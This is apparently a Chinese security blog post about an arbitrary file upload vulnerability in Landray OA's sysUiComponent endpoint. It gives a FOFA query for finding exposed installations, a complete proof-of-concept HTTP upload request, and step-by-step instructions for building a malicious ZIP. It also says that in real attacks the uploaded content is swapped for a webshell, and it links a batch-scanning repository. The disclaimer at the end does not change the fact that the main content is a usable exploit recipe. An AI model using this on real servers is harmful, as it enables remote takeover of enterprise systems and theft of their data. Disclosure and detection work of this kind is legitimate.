分析流量

在分析HTTP流量的过程中发现文件名为test的异常数据包，test名都是用来测试的，正常业务中一般不会存在此名称。

直接访问路径，发现未授权文件上传

一搜索竟发现是刚爆出来的漏洞

一、漏洞描述

深圳市蓝凌软件股份有限公司成立于2001年，数字化工作专业服务商，阿里钉钉唯一投资的OA厂商，阿里云知识管理与协同领域首家战略合作伙伴，为大中型企业及成长型组织，提供智能办公、移动门户、知识管理、数字运营、财务共享、专有云等一体化解决方案；先后助力华为、万科等10000家知名企业实现了智慧管理与高效办公的工作变革。

该系统 sysUiComponent 文件存在任意文件上传漏洞，通过此漏洞攻击者可上传webshell木马，远程控制服务器，威胁企业数据安全。

二、网络空间搜索引擎搜索

fofa查询

app="Landray-OA系统"

三、漏洞复现

POC

POST /sys/ui/sys_ui_component/sysUiComponent.do?method=getThemeInfo&s_ajax=true HTTP/1.1Host: IP:PORTUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestReferer: http://.com/sys/ui/sys_ui_component/sysUiComponent.do?method=uploadContent-Length: 474Content-Type: multipart/form-data; boundary=---------------------------15610248407689Cookie: SESSION=YmI0OGMyZDQtZDE0NC00MTQ2LWJmMzMtNWE5NDMwOTYxM2ExDNT: 1Connection: close-----------------------------15610248407689Content-Disposition: form-data; name="file"; filename="test.zip"Content-Type: application/x-zip-compressedPKx3;x4;x14;

然后访问路径 /resource/ui-component/2023/test.jsp 返回如下，则说明漏洞存在

其实重点不在POC，而是需要上传的恶意ZIP文件,构造好恶意ZIP文件，不需要工具，徒手也能干。

1、创建component.ini文件，内容为：

id=2023name=check.txt

2、创建上传check.txt文件。

文件内写上要上传的内容

然后使用压缩软件，将两个文件压缩成一个压缩包，文件名check.zip

最后上传即可。上传成功后访问路径/resource/ui-component/2023/check.txt

实战中将上传内容替换成webshell木马即可

四、漏洞检测

pocsuite漏洞验证

关于pocsuite是什么，怎么使用，网上自行搜索，不再讲解。

批量漏洞检测脚本已上传至github，希望大家下载时候点个star 支持一下，你的支持就是我更新的动力。

免费漏洞库地址：https://github.com/Vme18000yuan/FreePOC

免责声明：文章来源互联网收集整理，请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

原文始发于微信公众号（网络安全透视镜）：流量分析发现蓝凌OA在野0day漏洞